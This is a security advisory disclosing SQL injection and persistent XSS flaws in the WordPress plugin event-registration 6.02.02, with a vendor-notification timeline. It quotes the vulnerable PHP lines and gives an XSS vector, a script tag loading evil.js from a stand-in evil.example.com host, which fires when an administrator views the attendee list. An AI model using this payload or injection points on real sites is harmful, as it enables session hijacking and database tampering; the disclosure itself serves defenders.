* Exploit Title: WordPress Plugin event-registration 6.02.02: SQL-Injection and persistent XSS
* Discovery Date: 2016/03/13
* Public Disclosure Date: 2016/05/09
* Exploit Author: Michael Helwig
* Contact: https://twitter.com/c0dmtr1x | https://codemetrix.net
* Vendor Homepage: http://wpeventregister.com/
* Software Link: https://plugins.svn.wordpress.org/event-registration/tags/6.02.02/
* Version: 6.02.02
* Tested on: WordPress 4.4.1
* Category: webapps


DESCRIPTION
-----------

The plugin event-registration contains in its current version 6.02.02 multiple vulnerabilities:

1. SQL-Injections

There is a SQL-Injection visible in the code in evt_public-process_confirmation.php line 32
22: $submitted_token = isset($_POST['token'])?$_POST['token']:'0';
.. no sanitization of $submitted_token ...
32: $sql = 'SELECT * FROM ' . get_option('evr_attendee') . " WHERE token='{$submitted_token}'";
33: $attendee_valid = $wpdb->get_row($sql);

Another injection is in line 63:

19: $qanda = unserialize(urldecode($_POST["questions"]));
.. no sanitization of $qanda ...
61: $question_id = $qanda[$i]['question'];
62: $response  = $qanda[$i]["response"];
63: if($question_id !=''){$wpdb->query("INSERT into ".get_option('evr_answer')." (registration_id, question_id, answer)
64:    values ('$reg_id', '$question_id', '$response')");}

(see: 
https://plugins.svn.wordpress.org/event-registration/tags/6.02.02/public/evr_public-process_confirmation.php )

2. Persistent XSS:

There is a persistent XSS in attendee's first name and last name fields on registration confirmation (evr_public-process_confirmation.php). 
Quotes are escaped but the following vector still succeeds and is executed e.g. in Firefox and Chrome:
<script src=http://evil.example.com/evil.js></script>

When injected as first name or last name on the attendee's registration confirmation page (2. step in the attendee's default registration process), the 
injected script gets loaded as soon as a backend user visits the list of attendees.

A demonstration of the XSS issues can be found here: https://www.youtube.com/watch?v=N4eaCAhk-a0


TIMELINE
------------
2016/03/13 - Issues discovered
2016/03/21 - Issues reported to vendor. No response.
2016/03/31 - Issues reported to wordpress security team
2016/04/01 - Reply from Wordpress security team. Plugin vanished from plugin directory shortly after.
2016/05/09 - No information about any (planned) fixes. Disclosure.